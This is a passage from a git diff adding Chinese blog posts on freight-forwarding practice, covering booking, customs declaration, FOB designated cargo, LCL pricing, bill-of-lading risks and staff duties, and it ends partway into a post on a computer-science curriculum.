+（注：GPgeneralpurpose 普通箱；CBMcubicmetre立方米；MTmetricton公吨；HChighcubic高箱） + +5、付费条款、货主联系方法 + +6、做箱情况，门到门还是内装 + +![](/uploads/2019/05/30-03.jpg) + +1、缮制委托书（十联单）；制单时应最大程度保证原始托单的数据正确、相符性，以减少后续过程的频繁更改。 + +2、加盖公司订舱章订舱：需提供订舱附件的（如船公司价格确认件），应一并备齐方能去订舱。 + +3、取得配舱回单，摘取船名、航次、提单号信息。 + +![](/uploads/2019/05/30-04.jpg) + +1、门到门：填妥装箱计划中：做箱时间、船名、航次、关单号、中转港、目的港、毛重、件数、体积、门点、联系人、电话等要因，先于截关日（船期前两天）1~2天排好车班。 + + +2、内装：填妥装箱计划中:船期船名航次、关单号、中转港、目的港、毛重、件数、体积、进舱编号等要因，先于截关日（船期前两天）1~2天排好车班。 + + +3、取得两种做箱方法所得的装箱单（CLP） + +![](/uploads/2019/05/30-05.jpg) + +1、了解常出口货物报关所需资料。①需商检②需配额③需许可证④需产地证⑤需提供商标授权、商标品名⑥出口香港地区货值超过$10万，其他地区超过$50万，核销时需提供结汇水单（复印件）⑦需提供商会核价章。 + + +2、填妥船名航次，提单号，对应装箱单(packinglist)，发票，所显示的毛重净重，件数，包装种类，金额，体积，审核报关单的正确性（单证一致）。 + + +3、显示报关单所在货物的“中文品名”，对照海关编码大全，查阅商品编码，审核两者是否相符，按编码确定计量单位，并根据海关所列之监管条件点阅所缺乏报关要件。 + + +4、备妥报关委托书，报关单，手册，发票，装箱单，核销单，配舱回单（十联单第五联以后），更改单（需要的话）和其他所需资料，于截关前一天通关。 + + +5、跟踪场站收据，确保配载上船。 + + +6、凡是退关改配的，若其中有下个航次，出运仍然需要，诸如许可证，配额，商检，动植检之类的文件资料，退关、改配通知应先于该配置船期一个星期到达，以便（报运部）顺利抽回资料，重新利用。否则只会顺延船期，造成麻烦。 + +![](/uploads/2019/05/30-06.jpg) + +1、 问明顾客“提单”的发放形式：①电放：需顾客提供正本“电放保函”（留底），后出具公司“保函”到船公司电放。②预借(如可行)需顾客提供正本“预借保 函”（留底），后出具公司“保函”到船公司预借。③倒签(如可行)需顾客提供正本“倒签保函”（留底），后出具公司“保函”到船公司倒签。*此种情况下， 多半是签发HOUSEB/L.④分单：应等船开以后3~4天（候舱单送达海关，以保证退税），再将一票关单拆成多票关单。⑤并单：应等船开以后3~4天 （候舱单送达海关，以保证退税），再将多票关单合成一票关单⑥异地放单：须经船公司同意，并取得货主保函和异地接单之联系人，电话，传真，公司名，地址等 资料方可放单。2、依据原始资料，传真于货主确认，并根据回传确立提单正确内容。 + + +七、签单 + +1、查看每张正本提单是否都签全了证章。 + +2、是否需要手签。 + + +八、航次费用结算 + +1、海运费①预付(FREIGHTPREPAID)②到付(FREIGHTCOLLECT) + +2、陆运费①订舱②报关(包括返关之前己经报关的费用)③做箱(内装/门到门)④其他应考虑的费用：冲港费/冲关费商检、动植检、提货费、快递费、电放、更改 + + +九、提单、发票发放（提单样本） + +1、货主自来取件的,需签收 + +2、通过EMS和快递送达的,应在“名址单”,上标明诸如:“提单号”、“发票号”、“核销单号”、“许可证号”、“配额号"等要素以备日后查证 + + +十、应在一个月内督促航次费用的清算并及时返还货主的“核销退税单” + + +十一、海关退税有问题的,需更改并要提供如下资料: + +l、报关数据正确、舱单不正确的①经预录后的〈海关返还的〉报关单复印件；②场站收据复印件〈十联单的第七联即黄联〉；③提单正本复印件两张；④装箱单(ContainerLoadPlan)复印件；⑤更正单（三联、正本）。 + + +2、 短装（多报少出）、溢装（少报多出）①船开5天（工作日）内没能及时更正的：先交纳罚款金3000-5000;货主重新提供的发票、装箱单 （Packinglist）货主重新提供报关单提单副本复印件（加盖“提单副本确认章”）②船开5天（工作日）内更改的提单副本复印件（加盖“提单副本确 认章”）正本、正确的报关单正本、正确的发票、装箱单。 + + +# 参考 + ++ [教科书级货代操作流程，有图有真相！](https://mp.weixin.qq.com/s/rKUS9so8bMI0KSK9UAu80g) \ No newline at end of file diff --git a/_posts/2019-05-30-369-hd2.md b/_posts/2019-05-30-369-hd2.md new file mode 100644 index 0000000..42c4d00 --- /dev/null +++ b/_posts/2019-05-30-369-hd2.md @@ -0,0 +1,142 @@ +--- +layout: post +title: FOB指定货 完整操作流程 +pid: 369 +tags: [货代] +--- + +![](/uploads/2019/05/30-07.jpg) + +# 外贸中的“指定货”是？ + +“指定货” + +“指定货代” + +“FOB货” + +“FOB指定货” + +这些说法是一回事儿嘛？ + +“**指定货**”其实就是“指定货代” + +“**FOB货**”或“FOB指定货”一般来说，也是“指定货代”。 + +但严格来说，并不等同。因为“指定货代”还有其他情况。 +因为“指定货代”并不一定意味着FOB成交。例如： + +> 成交方式是CIF，但依然由客户“指定货代”。这就不是FOB指定货，而是“**CIF指定货**”了。当然，这种情况“不正常”。因为CIF成交，卖方负责运输并承担运费，理应由卖方寻找货代或承运人，而不应由买方（客户）指定。 + +如果CIF成交，但货代或承运人却由客户指定，这意味着卖方放弃了一些应有的权利。因为对指定货代或承运人来说，国外的买方才是它的直接客户，卖方不是它的直接客户。因此卖方对货代或承运人，以及货物的控制权都会减弱，还容易发生买方指定的货代或承运人向卖方高收费，甚至乱收费。 + +**既然这样，为什么还存在这种情况？** + +如果客户有合作良好的货代或承运人，且坚持要用自己的货代或承运人，但又不想FOB成交。卖方为了满足客户要求，或觉得客户的货代或承运人也不错，于是接受这种“违反常规”的要求……毕竟服务好客户才是王道，变通一下也无妨。 + + +总之，“指定货”一般就是FOB成交——客户负责运输（买方指定货代或承运人）和保险（买方自行投保）。客户为什么要指定货代或承运人？一般是因为客户有合作良好的货代或承运人，可以拿到较低廉的运费价格，得到较好的服务，并能更好地掌控货物的交付、出运、中转等。 + +> FOB（**F**ree **O**n **B**oard），俗称“**离岸**价”“装运港船上交货”。**买方**负责派船接运货物（指定货代或承运人），卖方应在合同规定的装运港和规定的期限内将货物装上买方指定的船只，并及时通知买方。货物在装运港被装上指定船时，风险即由卖方转移至买方。 + +# “指定货”操作流程例解 + +FOB指定货，如何操作？ + +**A、国内出口商（Seller/Shipper）** + +北京财华顺科贸有限公司/Beijing CHS Co., Ltd.外贸人代表的就是这一方。 + +**B、指定货代（Appointed Forwarder）** + +北京飞捷腾达货运代理有限公司/Beijing FJTD Freight Forwarder Co.，Ltd. + +**C、国外进口商（Buyer/Consignee）** + +Atlantic Food Ingredients Co.，Ltd/美国大西洋食品配料有限公司。 + +（1）A和C进行接触、沟通、洽谈，最终按FOB成交——C下单给A，买卖双方签订国际贸易合同。 + +（2）A安排生产，或直接采购，或从库存拿货。备好货之后，通知C，C指定自己合作的货代B来跟A接触，并操作此票货物的发运。A开始和B直接接触——安排货物出运以及出口报关等。 + +（3）A也一直和C沟通，毕竟，C是A的真正客户，B只是中间的一个货代服务环节。但是，一般人不知道的是，还有一个D。 + +**D、目的港清关代理** + +Global Logistics (New York) Co., Ltd/纽约环球物流有限公司。 + +在目的港New York，C一直是和D联系的，而且C并没有和B直接联系。 + +**怎么回事？B不是C指定的货代嘛？** + +其实，国外客户C真正指定的货代是目的港的**D**——纽约环球物流有限公司——**D**才是C直接接触的合作货代。C会告诉D我有一票货在中国已经备好，请D报价，并操作这票货，最终运到纽约。 + +**（4）D为了给C报价，就会找到起运港这边的B，跟B说我有这样的一票货，要求B报价，B给D报价。然后D以B的报价为基础加上一定的利润，再给C报价。**谈妥后，D正式接受C的委托，并拿到A的联系资料。然后D把A和C的联系资料发给B；同时把B的联系资料发给C，C再把B的相关资料发给A，A再跟B联系安排出运事宜；也有可能B主动联系A，因为B已经从D那里拿到了A的联系资料。（这么绕，晕菜！） + +总之，起运港这边A和B直接联系了，目的港那边C和D直接联系了。同时，起运港的A（卖方）和目的港的C（买方/客户）直接联系，目的港的D和起运港的B直接联系。通常，A和D不直接联系，B和C也不直接联系。 + +**奇怪，D和B是什么关系？** + +**第一，合作代理的关系。**B是D的起运港代理，D是B的目的港代理，或者互为代理。本文的例子就是合作代理的关系。 + +**第二，分公司和分公司的关系。**比如起运港的B为北京飞捷腾达货运代理有限公司天津分公司，目的港的D为北京飞捷腾达货运代理有限公司纽约分公司。 + +**第三，母公司和子公司的关系。** + +**第四，分公司和办事处的关系，或办事处和办事处的关系。** + +总之，B和D是**互相合作或互为代理**的关系。 + +（5）A和B联系上后，确认货好时间，配船订舱，送货报关，确认提单……完成整个出口的货代操作流程。 + +**问题又来了，提单怎么签发？怎么流转？** + +FOB运费到付，也就是货到目的港后由C ——Atlantic Food Ingredients Co.， Ltd/美国大西洋食品配料有限公司来支付。即买方支付。 + +**首先** + +船公司向B（起运港货代）签发船东提单（**M**aster **B**ill of **L**ading，简称**MBL**）。注意，MBL上的收/发货人是这么显示的： + +Shipper栏：Beijing FJTD Freight Forwarder Co.，Ltd.（其实就是B） + +Consignee栏：Global Logistics (New York) Co., Ltd.（其实就是D） + +**其次** + +B根据船公司向它签发的MBL出具一份货代提单（**H**ouse **B**ill of **L**ading，简称**HBL**）。注意，HBL上的收/发货人是这么显示的： + +Shipper栏：Beijing CHS Co., Ltd.（其实就是A，这才是真正的发货人） + +Consignee栏：Atlantic Food Ingredients Co.，Ltd.（其实就是C，这才是真正的收货人） + +HBL和MBL的内容，除了收/发货人、提单号及提单上的抬头（Logo）和签章不一样，其他内容一般都是一样的。 +当然，如果走海运拼箱，则MBL和HBL差别很大，因为拼箱货，MBL是总提单，HBL是分提单，一个MBL对应多个HBL。 + +**第三** + +A（发货人）向B支付起运港的FOB本地费用（不包括运费、保费和目的港的一切费用）后，B会把货代提单HBL给A。注意：给到A的是货代提单。A跟C结算货款，然后把从B得到的货代提单转给C。 + +**第四** + +D向B结清相关费用后，B把船东提单MBL转给D。D拿到船东提单。 + +**第五** + +C（买方）凭借从A（卖方）那里拿到的货代提单，到D那里换取船东提单。C要先向D支付运费以及相关费用，D才会把船东提单换给C。 + +**最后** + +C凭借船东提单到船公司或其代理（船代）那里换取提货单（D/O），拿到提货单后，就可以办理清关了……完成整个进口的货代操作流程。 + +清关完毕，才能最终提货。 + +一个完整的海运FOB指定货操作流程大概就是这样。有没有感觉有点绕，有点晕？ + +通过这个例子，可以清楚地看到： + +> 老外指定的货代，只是目的港的清关货代D，而起运港这边的货代B是由D找的，B跟老外C没有直接的关系。 + +# 参考 + +[FOB指定货 完整操作流程](https://mp.weixin.qq.com/s/LpUShX3xUAfaSGE2V9pnYw) + diff --git a/_posts/2019-05-30-370-hd3.md b/_posts/2019-05-30-370-hd3.md new file mode 100644 index 0000000..e4d6e49 --- /dev/null +++ b/_posts/2019-05-30-370-hd3.md @@ -0,0 +1,22 @@ +--- +layout: post +title: 海运重货和轻抛货的区别 +pid: 370 +tags: [货代] +--- + +[摘要]：海运:重货是指单件货品大于6吨的货品.在空运来讲假如1个立方米的货品多于166.67公斤就算重货，计费依照实际货品重量计费。　是1/0.006算出来的。假如1个立方的货少于166.67公斤就算抛货，海运的话普通轻重货比率是1：1。也就是一个立方大于1吨，就是重货，小于1吨就是轻货。然而到美国内陆的是依照1：363公斤的，1个立方超越363就是重货。 +海运:重货是指单件货品大于6吨的货品.在空运来讲假如1个立方米的货品多于166.67公斤就算重货，计费依照实际货品重量计费。 + +是1/0.006算出来的。假如1个立方的货少于166.67公斤就算抛货，chargeableweight是依照立方计费的。海运的话普通轻重货比率是1：1。也就是一个立方大于1吨，就是重货，小于1吨就是轻货。然而到美国内陆的是依照1：363公斤的，1个立方超越363就是重货 + +再来说一下海运拼箱的轻重货的判定,很多口岸,都有不同的比列,也会因季节不同,有所转变(淡季旺季),有一个比较比较简单的鉴定办法, + +立方数*轻货的海运费-吨数*重货的海运费, +假如是正数,那么这就是泡货，反之,是负数,则该票货品是重货. + +海运拼箱以水的密度为准1000KGS/1CBM。货重用吨来比立方数，大于1是重货，小于1是泡货，但目前许多航次限重，所以比例调到1吨/1.5CBM左右。 + +# 参考 + +[海运重货和轻抛货的区别](https://mp.weixin.qq.com/s/jYAG2kVhvPDsPXqOurhDWw) \ No newline at end of file diff --git a/_posts/2019-05-30-371-hd4.md b/_posts/2019-05-30-371-hd4.md new file mode 100644 index 0000000..c1bd560 --- /dev/null +++ b/_posts/2019-05-30-371-hd4.md @@ -0,0 +1,55 @@ +--- +layout: post +title: 无单放货的风险防范 +pid: 371 +tags: [货代] +--- + +# 避免无单放货的几点注意事项 + +1、不要听国外客户乱吹，客户无论公司大小，都要坚持自己的付款原则。不要原为是老客户或者是关系很好，碍于情面而不好意思在付款上跟客户做自己认为安全的收款方式。这点要提醒刚出道的外贸人员，有些急于促成订单，有些刚到新的单位急于表现给领导看，最怕就是与客户在MSN或邮件交流上自认为自我感觉良好，认为客户不会骗自己，这些都是给无单放货留下的隐患。 + +2、如果有些客户是第一次做生意，让客户100%先T/T做不到（因为有可能真正的客户也不太相信供货方），收到预付款后再安排生产或采购。在备货过程中可以向客户提出由于原材料上涨等其它原因，再汇10%或20%货款，能多要点就最好。 + +3、如在备货过程中，客户不同意再汇款，在货备好后，拍照或把具体的装箱单给客户，再向其索要余款。 + +4、在与客户指定的货代联系出运事宜些，应做到以下： + +（1）让指定货代传真或快递营业执照复印件。看到营业执照复印件后，上工商网站或通过律师到货代所在地的工商部门查询此货代是否注册。通过律师查询的费用并不高，只需RMB200左右。千万不要省这个钱。 + +（2）与指定货代签订正式的运输合同。 + +（3）传真托单给指定货代后，叫其在托单上盖上公章回传并寄正本。 + +（4）保留好一切与货代的传真往来，把传真件复印保存。托单不要从电脑中传，从传真机上传。 + +（5）报关时要如实申报货物价值，有些客人会把部分货款通过地下钱庄汇到国内私人帐户，让出货方少申报货物价值。如今后出现无单放货，国家海事法院是以申报的海关报单价值为准，不以与客户的形式发票（Pro-formaInvoice)为准。 + +5、货物出运后，及时向指定货代索要正本提单，如是整柜，要船公司的正本提单。这点非常重要。同时，及时向指定货代索要正本的费用发票。 + +6、得到提单传真件后，及时通知客户汇余款。 + +7、货出运后，及时跟踪货物状况，通常大部分船公司都可以在他们的网站上查询到货物的状况。只需输入集装箱号或提单号即可。不要因为工作忙而疏忽跟踪货物。 + +8、向客户催款，如发邮件、发传真客户都不回复，可向指定货代发正式的公文，以自己公司的名誉发，公文内容警告指定货代在收货人没有正本提单的情况下不能把货物放给收货人，由此引起的法律责任为货代承担。同时，可打电话给客户催款。 + +9、如发了很多邮件、传真，客户都没有消息，再发邮件告诉客户，如他再不汇款，货到后，将安排退运，同时告诉客户，中国海关会把其列入黑名单（BLACKLIST）影响他今后从中国进口所有产品。 + +# 出现无单放货后如何处理 + +通过船公司网站查询货物情况，如船公司网站显示集装箱已经清空并装货运往其它目的地，这表明货已经被提走。如此时，正本提单还在发货人手中，建议按以下处理： + +1、通过律师向指定货代发律师函，称此货物已被收货人提走，让提定货代在限定的时间内赔偿发货人的损失。 + +2、如指定货代在限定的时间未作赔偿，把原来与指定货代一切来往传真记录及正本费用发票准备好，找专门打海事方面的律师，准备起诉指定货代。不要找专打国内官司的律师，他们由于英文水平有限，有可能连提单都看不懂。这方面的律师上海比较多。 + +3、根据本人的经验，上海海事法院起诉费用不是能贵，不要因为省这点起诉费用就放弃起诉。海事法院受理后会在20天左右下传票给原告和被告，开庭前如法院认定 +无单放货事实很清楚，法院会先与双方协商解决，此时，被告律师会与原告联系讨价还价，作为原告不要动摇，就是要坚持全额赔偿。 + +4、退税货、银行利息也可以列出赔偿款内。 + +总之，国际贸易并不是一帆风顺，国外也有很多骗子，希望刚出道做外贸或正在做外贸的国人们提高警惕、注意防范，避免自己受损失。以上是本人的经验，如各位还有其它好的经验望能与大家分享。 + +# 参考 + ++ [无单放货的风险防范](https://mp.weixin.qq.com/s/XM9iks8PBFsEvAkS6MxBeg) \ No newline at end of file diff --git a/_posts/2019-05-30-372-hd5.md b/_posts/2019-05-30-372-hd5.md new file mode 100644 index 0000000..a62da85 --- /dev/null +++ b/_posts/2019-05-30-372-hd5.md @@ -0,0 +1,24 @@ +--- +layout: post +title: 海运散货拼箱(LCL)为何不收运费？ +pid: 372 +tags: [货代] +--- + +大多外贸货主可能都感到很奇怪，当你走一票货物，比方从上海港到日本或欧洲某个港口的时候，很多国际物流公司都告诉你拼箱是不收运费的，你是不是感到很惊奇。一定在想这当中是不是有些猫腻。其实这个是很正常的现象。 + +拼箱LCL是指承运人(或代理人)接受货主托运的数量不足整箱的小票货运后，根据货类性质和目的地进行分类整理。把去同一目的地的货，集中到一定数量拼装入箱。由于一个箱内有不同货主的货拼装在一起，所以叫拼箱。这种情况在货主托运数量不足装满整箱时采用。拼箱货的分类、整理、集中、装箱(拆箱)、交货等工作均在承运人码头集装箱货运站或内陆集装箱转运站进行。请注意，所有的这些服务都是要收取费用的，但一般仅限于在目的港收取，同样如果是进口的拼箱，上述费用将在中国的港口收取。 + +拼箱可以分为直拼或转拼，直拼是指拼箱集装箱内的货物在同一个港口装卸，在货物到达目的港前不拆箱，即货物为同一卸货港。此类拼箱服务运期短，方便快捷，一般有实力的拼箱公司会提供只此类服务。转拼是指集装箱内不是同一目的港的货物，需要在中途拆箱卸货或转船。此类货物因目的港不一，待船时间长等因素，故运期较长，甚至运费偏高。所以最好的选择是直拼服务，这样对货物的安全是非常有益的。 + +拼箱货一般不能接受指定某具体船公司，船公司只接受整箱货物的订舱，而不直接接受拼箱货的订舱，只有通过国际物流公司将拼箱货拼整后才能向船公司订舱，几乎所有的拼箱货都是通过货代公司集中办托，集中分拨来实现运输的，华东地区的拼箱集散港基本上为上海港（上海港有中国其它任何港口所无法比拟的优势，有丰富的港口和传奇供货主选择，而且运费是最低的）。一般的货运代理由于货源的局限性，只能集中向几家船公司订舱，很少能满足指定船公司的需求，因此在成交拼箱货时，尽量不要接受指定船公司，以免在办理托运时无法满足要求。 + +另外有些港口因拼箱货源不足、成本偏高等原因，货代公司对货量较少的货物采取最低收费标准，如最低起算为2个运费吨，即不足2个运费吨，一律按2个运费吨计价收费。因此对货量较小，港口较偏的货物在成交时要多考虑到一些这样的因素，以免日后被动。不过由于中国出口的力度加大，现在这些港口越来越少了。 + +所以，为什么为什么从上海港出口一票货物去一些港口的运费为0了吧。主要是目的港所收取的服务费已经足够补贴整柜出口的费用了，所以发货港这边的运费可以降到0块。这时有货主可能会问，那国外收货人的负担岂不是加重了？ + +其实是这样的，上海目前海运费做到0块的港口，目的港的收费都是行业标准的，都是在目的港被大家接受的价格，所以大家不需要担心收货人会投诉。当然不排除一些黑心货代，为了招揽生意，在上海港甚至退运费给客人，然后在目的港是无忌惮的向收货人收取超额的服务费，这个是广大货主千万要注意的，因为以前发生过国外收货人拒绝收货的情况。所以，请广大货主要仔细辨别这些货代。 + +# 参考 + ++ [海运散货拼箱(LCL)为何不收运费？](https://mp.weixin.qq.com/s/HnzOcZyZ0-16dNVIrhsYpw) \ No newline at end of file diff --git a/_posts/2019-05-30-373-hd6.md b/_posts/2019-05-30-373-hd6.md new file mode 100644 index 0000000..8299a9f --- /dev/null +++ b/_posts/2019-05-30-373-hd6.md @@ -0,0 +1,266 @@ +--- +layout: post +title: 货代岗位与职责 +pid: 373 +tags: [货代] +--- + +![](/uploads/2019/05/30-08.jpg) + +> 为规范货代日常工作，明确各岗位权责，加强各部门、各岗位协调配合，特制定本流程和规范。 + +# 公司文化 + +1）核心价值观（Core Values） + +创新、优异的表现、忠诚、协作、重视客户。 + +2）企业精神（Spirit of Enterprise） + +团结、奋进、务实、高效。 + +3）经营理念（Business Concepts） + +以人为本，以货为根。用安全追求效率，用服务感动客户。 + +4）服务理念（Service Principle） + +上心、真心、贴心。追求客户满意，是你我的责任。 + +5）市场理念（Market Concept） + +没有做不到，只有想不到。 + +6）企业目标（Corporate Objective） + +创货代先锋，建百年企业。 + +7）生存理念（Philosophy of Survival） + +居危思进。 + +8）用人之道（Concept of Personnel） + +任人唯贤。 + +9）管理原则（Management Principle） + +管理上无情，同事间亲情。 + +# 货代7大岗位职责 + +依据工作需要和工作环节主要设立部门经理、部门主管、操作、调度、文件、客服和销售等岗位，各岗位相辅相成，构成货代公司完整的运作机制。 + +2.1、职位与职权 + +2.1.1 部门经理 + +1）管理团队的组建、分工、培训和提升。 +2）配合公司战略发展，筹划、推进和评估本部门的长短期目标。 +3）各下级部门总体运作的计划、协调、推进和评估。 + +2.1.2 部门主管 + +1）部门团队的组建、管理、培训和提升。 +2）部门日常运作的协调、推进和评估。 +3）对内与对外报价的更新、发布和核批。 +4）业务的受理、指派和跟踪。 +5）市场目标的制定、推进和评估。 + +2.1.3 操作 + +1）业务的审核、操作和跟踪。 +2）费收的核实、确认和输入。 +3）业务的完结、统计和分析。 + +2.1.4 调度 + +1）门点服务/仓储服务的受理、协调和安排。 +2）门点服务/仓储服务的跟踪、反馈和完结。 +3）月度统计、分析与评估。 + +2.1.5 文件 + +1）提单的确认、核对和签发。 +2）操作的日常事务助理。 +3）月度统计和分析。 + +2.1.6 客服 + +1）业务的受理、指派和跟踪。 +2）报价的对外发布、跟踪和核实。 +3）客户日常操作维护。 + +2.1.7 销售 + +1）业务的报价、揽取和跟踪。 +2）报价的对外发布、跟踪和核实。 +3）客户日常销售维护。 + +2.2、职权与职责 + +2.2.1 经理管理 + +部门经理和主管对部门内日常事务和人员具有指派工作、协调次序、管理决策的权力和义务。 + +2.2.2 权责对应 + +部门内所有人员应依据各自所在职位的职权配置，积极主动尽职尽责地完成日常本职工作。 + +2.2.3 能动互助 + +部门内所有人员应重视自我促进业务素质和工作能力，积极主动协助关联职位成员完成日常本职工作。 + +2.3、个人与团队 + +1）对任何事件，各成员应首先积极主动第一时间处理。 +2）对超越自身处理能力或不能清晰判断处理结果的要求或事件，需立即请示上级要求协助，并依据上级的指令或指导及时处理并反馈、总结。 +3）各职员日常应积极主动学习积累有利于改善本职工作的知识和资源，持续提升团队实力和个人素质。 +4）各成员应积极协助和指导有需要的部门成员。 +5）待物客观公正，做事宽容耐心，不意气用事。 + +# 货代操作全流程 + +根据海运货代的工作特征，日常工作一般划分为接单、订舱、拖车/内装、报关、文件、收费和其他等各环节，各环节相辅相成。 + +本流程即是各岗位的工作指导，也作为主管评判各岗位工作达标与否的标准。 + +3.1、接单部分 + +接单原则上应成为日常中“最优先”的工作环节，一般要求接单必须快捷、高效，第一时间确认业务的可操作性并予以安排。接单员一般要求自接到委托书后15分钟内完成以下三部分基本信息的确认。 + +订舱委托书样本 + +![](/uploads/2019/05/30-09.jpg) + +注：对于部分无法短时间内确认的信息，依然必须及时安排并予以跟踪，如根据客户和操作需要流转到下一环节，先安排流转后跟进处理，以保证下一环节的有序操作。 + +1）审核客户委托内容和确认客户服务要求（客服或接单员） + +（1）接单员必须预先审核客户的委托内容 + +客户给的《订舱委托书》需显示但不限于：托运人/发货人、船公司/船期、起运港、目的港/中转港、货名、柜型/柜量、运价条款与运价、托运人的签字或盖章等。 + +（2）接单员必须预先确认客户服务要求（客服或接单员） + +普通服务要求一般包括是否需要：到/预付订舱、拖车/内装、商检和报关等。 +对于拖车/内装、商检和报关的服务要求，必须同时确认货物和单证备齐时间、服务要求时间等，注明在客户《订舱委托书》上。 +特殊服务要求一般包括是否需要：普通服务外其他的附加服务。 +对于特殊服务要求，必须得到部门主管和/或其他相关职能的核批后才可以接受和安排。 + +2）运价核对、确认（客服或接单员） + +客服人员收到《订舱委托书》后，必须对运价和其他服务费用进行确认。 + +（1）对来自销售部的业务，须与销售员核对运价和其他服务费用是否正确，并由销售员在《订舱委托书》上签字确认，然后再向相应船公司订舱。 +注：特殊情况可先口头与销售员确认，待销售员返回公司再补签字确认。 + +（2）对于公司业务，须与市场相关人员或航线主管人员及时确认后再安排订舱。 + +3）舱位确认（客服或接单员） + +根据客户委托，确认并反馈符合要求的舱位。 + +3.2、订舱部分 + +一般要求预定开船日7天前必须安排订舱，对可以提前接受委托的船公司应争取头批订舱，旺季时根据市场情况适当提前。 + +一般要求在预定开船日5工作日前完成订舱，对于该时间限制以内的业务委托一般要求在接单日内完成订舱，最迟一个工作日内完成订舱。 + +1）新建委托（订舱操作员） + +订舱操作员必须及时在操作系统内创建业务编号、新建业务档案，输入业务有关数据。输入业务数据包括但不限于：业务各属性、发收货人信息、服务要求、提单要求、船名航次（如可能）、开船日期、起运港、中转港、目的港、箱型箱量、货名与数量，以及代理（如需要）等。 + +2）订舱过程（订舱操作员） + +订舱过程包括以下环节：膳制与发送《订舱委托书》、订舱号或提单号确认、预配和报关舱单发送确认、中转港代码确认和场站收据制作等，任何一环节未完成均视为订舱未完毕。 + +订舱完毕后，应及时将配舱信息输入操作系统，输入时应确保准确，并特别注意以下信息：船公司名称、订舱号或提单号、船名航次、开船日期、箱型箱量以及运费/运输条款等信息。 + +3）舱位通知（订舱操作员） + +无论是否需要我司代为提供当地各项服务，订舱确认书或配船通知单等都必须第一时间通知客户，确保上面的订舱号与船名航次清晰、准确，以免造成混淆。 +如有问题，积极配合客户跟踪处理预配和海关舱单等方面问题。 + +3.3、拖车/内装（调度） + +客户委托的拖车、内装和/或报关等要求，必须根据船公司、码头、货物性质和市场环境等情况予以预先审核，对存在隐患的不合理安排尽量同客户协商调整并告知理由和风险。 + +提箱单（SO）样单 + +![](/uploads/2019/05/30-10.jpg) + +1）拖车（产装）安排 + +（1）拿到提箱单（SO）并得到相关销售或客服确认后方能安排。 + +（2）根据船公司、码头和航线等情况，前瞻判断合适的拖车时间；如果同客户具体情况有冲突，必须同客户友好协商并告知可能的风险。 + +（3）安排拖车前，根据前期约定的拖车服务时间要求，提前2工作日与客户再次确认装柜时间及地点。 + +（4）同客户确认时间要求后，在同一工作日及时把信息通知拖车进行服务要求预约。 + +（5）向拖车下委托的时间，一般最迟必须在提供拖车服务时间的前一工作日的中午之前，并在当日下午4点前确认安排（包括拖车是否已经打单领取设备交接单、提箱地点的确认以及空箱状况确认）。对于冷柜等特种箱业务，必须同船公司确认空箱状况，必要时通知船公司提箱时间。 + +（6）安排拖车时，需向拖车发出书面委托。清晰注明配船信息（包括船公司、船名航次、订舱号/提单号、箱型箱量、起运港和中转港代码、目的地等）、装柜时间、装柜地点、工厂联系人及联系电话、协议费用等。 + +（7）必要情况下，应要求拖车提供司机姓名、手机号码、车牌号、柜号、封号，并报给工厂。 + +（8）跟踪装箱、重箱返回、进港集港等。 + +（9）其他注意事项。 + +注：在船公司的免费用箱期内安排拖柜进场，避免发生额外费用。若发生超堆费、超期柜租等额外费用，需立即通知客户，要求其书面确认并登记。 + +对于客户取消业务退关等情况，需确认是否发生安排拖车等前期费用。若发生打单费等，需立即通知客户，要求其书面确认并登记。 + +装箱方法 + +![](/uploads/2019/05/30-11.jpg) + +2）装箱（内装）安排 + +（1）得到相关销售或客服确认后方能安排。 + +（2）根据船公司、码头和航线等情况，前瞻判断合适的装箱时间，如同客户具体情况有冲突，必须同客户协商并告知可能的风险。 + +（3）根据前期约定的到货时间，提前1工作日与客户再次核实送货时间和预计到达时间，必要时让客户提供送货司机联系方式。 + +（4）向仓库/堆场做内装委托（过数据），需向仓库发出书面委托。如有装箱说明或打托要求，与委托一同发给内装仓库或堆场。委托需清晰显示配船信息（包括船公司、船名航次、订舱号/提单号、箱型箱量、起运港和中转港代码、目的地等）、装柜时间、货物数据（包括件数、毛重、体积）、协议费用等。 + +（5）向仓库委托时间，一般最迟必须在预约货物装箱时间的前一工作日的中午之前，并在当日下午4点前确认安排（包括仓库是否已经领取设备交接单、提箱点的确认、空箱状况确认）。 + +（6）向仓库委托时，必要时应注明提空柜的时间要求。 + +（7）跟踪到货情况。如果货物有问题如包装破损等，必须第一时间反馈给客户，待客户确认好后，再进一步操作。 + +（8）跟踪装箱、进港集港等。如客户要装箱照片，应提前通知仓库根据客户要求拍照。 + +装箱方法 + +![](/uploads/2019/05/30-12.jpg) + +3.4、报关部分（操作员） + +1）得到相关销售或客服确认后方能安排。 +2）根据船公司、码头、航线和货物等情况，前瞻判断合适的报关时间。如同客户具体情况有冲突，必须同客户友好协商并告知可能的风险。 +3）最迟在同客户约定报关日期的前一工作日，再次同客户确认报关资料的发送情况。 +4）收到报关资料后应第一时间对报关资料进行预审，有问题立即处理。 +5）在约定的报关日期前一工作日下班前，把完整的报关资料送报关行。 +6）对于报关资料，要求复印留底。 +7）跟踪反馈报关结果。如客户要预录单，应及时提供。 + +3.5、文件部分（提单确认） + +1）提单确认件的膳制和发送 +提单确认件的膳制和发送要及时，一般预定开船日2个工作日前必须发送。 +2）催促提单确认件 +一般预定开船日前一工作日必须从客户获取完整、正确的提单确认件。 +提单样单 + +![](/uploads/2019/05/30-13.jpg) + + +# 参考 + ++ [7大岗位职责与操作流程](https://mp.weixin.qq.com/s/0WHNuiZLl6OfZ_x32mDHDA) diff --git a/_posts/2019-05-31-374-st.md b/_posts/2019-05-31-374-st.md new file mode 100644 index 0000000..89454d4 --- /dev/null +++ b/_posts/2019-05-31-374-st.md @@ -0,0 +1,73 @@ +--- +layout: post +title: 计算机专业课程体系介绍 +pid: 374 +tags: [岗前培训] +--- + +计算机专业课程体系介绍 + +除了英语、马哲、文化礼仪、体育课程外，还包括： + +离散数学，数据结构，计算机组成原理，汇编语言程序设计，面向对象技术，数据通信原理，数字电路与逻辑设计，程序设计课程设计，数据结构课程设计，计算机组成原理试验，数字电路与逻辑设计试验，计算机文化基础，计算机程序设计，线性代数A，概率论与数理统计B，普通物理B，电路电子学 + +数据库系统，操作系统，计算机网络，计算机系统结构，光通信技术，嵌入式系统设计，Internet与web编程，Cisio/Solaris网络体系设计与实现，综合布线系统 + +编译原理，数字系统设计VHDL，信号与系统，微机系统与接口技术，数字信号处理，软件工程，IT项目管理，七号信令系统，电子商务概论，多媒体技术，UNIX操作系统，计算机信息安全移动通信，卫星通信，计算机系统维护技术 + +基础方面： + ++ 大学英语 ++ 高等数学 ++ 线性代数 ++ 